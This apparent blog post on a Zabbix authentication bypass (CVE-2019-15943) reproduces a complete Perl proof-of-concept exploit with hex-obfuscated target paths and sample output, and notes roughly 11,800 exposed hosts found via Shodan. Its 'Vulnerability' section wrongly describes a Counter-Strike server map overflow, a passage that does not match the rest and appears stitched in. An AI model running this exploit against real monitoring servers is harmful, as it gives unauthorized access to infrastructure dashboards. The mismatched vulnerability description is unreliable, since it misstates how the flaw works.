A vulnerability found in Zabbix allow a third party to bypass authentication

Summary:

A vulnerability has been found in the popular system monitoring

application Zabbix.

Enabling a third party to bypass authentication.

Zabbix is a very popular monitoring software for monitoring

availability for computer hosts, Most commonly used by

internet service providers and software companies.

Affected systems

Zabbix up to version 4.4

At the time of writing this the current version of zabbix is 4.4

meaning all versions of zabbix are vulnerable

The vulnerability has been given the CVE of CVE-2019-15943.

Vulnerability

A vulnerability can be exploited by creating a counter strike private server and

sending a malicious crafted map that causes a memory overflow which

if correctly exploited a malicious payload can be executed.

Exploit

# Exploit Title: Zabbix 4.4 - Authentication Bypass # Date: 2019-10-06 # Exploit Author: Todor Donev # Software Link: https://www.zabbix.com/download # Version: Zabbix 4.4 # Tested on: Linux Apache/2 PHP/7.2 # # Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit # # Copyright 2019 (c) Todor Donev # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit # # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com> # # [ Initializing the browser # # [ >>> Referer => # # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 # # [ >>> Content-Type => application/x-www-form-urlencoded # # [ <<< Cache-Control => no-store, no-cache, must-revalidate # # [ <<< Connection => close # # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT # # [ <<< Pragma => no-cache # # [ <<< Server => nginx # # [ <<< Vary => Accept-Encoding # # [ <<< Content-Type => text/html; charset=UTF-8 # # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT # # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT # # [ <<< Client-Peer => # # [ <<< Client-Response-Num => 1 # # [ <<< Client-SSL-Cert-Issuer => # # [ <<< Client-SSL-Cert-Subject => # # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256 # # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL # # [ <<< Client-SSL-Warning => Peer certificate not verified # # [ <<< Client-Transfer-Encoding => chunked # # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css" # # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly # # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload # # [ <<< Title => TARGET: Dashboard # # [ <<< X-Content-Type-Options => nosniff # # [ <<< X-Frame-Options => SAMEORIGIN # # [ <<< X-Meta-Author => Zabbix SIA # # [ <<< X-Meta-Charset => utf-8 # # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d # # [ <<< X-Meta-Msapplication-Config => none # # [ <<< X-Meta-Msapplication-TileColor => #d40000 # # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png # # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1 # # [ <<< X-UA-Compatible => IE=Edge # # [ <<< X-XSS-Protection => 1; mode=block # # [ # # [ The target is vulnerable. Try to open these links: # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1 # # [ https://TARGET/zabbix/overview.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1 # # [ https://TARGET/zabbix/latest.php?ddreset=1 # # [ https://TARGET/zabbix/charts.php?ddreset=1 # # [ https://TARGET/zabbix/screens.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1 # # [ https://TARGET/zabbix/srv_status.php?ddreset=1 # # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1 # # [ https://TARGET/zabbix/hostinventories.php?ddreset=1 # # [ https://TARGET/zabbix/report2.php?ddreset=1 # # [ https://TARGET/zabbix/toptriggers.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1 # #!/usr/bin/perl -w use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use HTML::TreeBuilder; my $host = shift || ''; # Full path url to the store $host =~ s|/$||; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit

"; print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>

"; print "[ e.g. perl $0 https://target:port/

" and exit if ($host !~ m/^http/); print "[ Initializing the browser

"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]); my $response = $browser->request($request); print "[ >>> $_ => ", $request->header($_), "

" for $request->header_field_names; print "[ <<< $_ => ", $response->header($_), "

" for $response->header_field_names; print "[ Exploit failed! 401 Unauthorized!

" and exit if ($response->code eq '401'); print "[ Exploit failed! 403 Forbidden!

" and exit if ($response->code eq '403'); if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){ print "[

[ The target is vulnerable. Try to open these links:

"; my $tree = HTML::TreeBuilder->new_from_content($response->as_string()); my @files = $tree->look_down(_tag => 'a'); for my $line (@files){ next if ($line->attr('href') =~ m/javascript/); next if ($line->attr('href') =~ m/\#/); next if ($line->attr('href') =~ m/http/); print "[ ", $host."/zabbix/".$line->attr('href'), "

"; } } else { print "[ Exploit failed! The target isn't vulnerable

"; exit; }

Shodan

A simple search on shodan displays 11 800 hosts running Zabbix

External links:

Zabbix.com

Zabbix wikipedia

exploit-db.com

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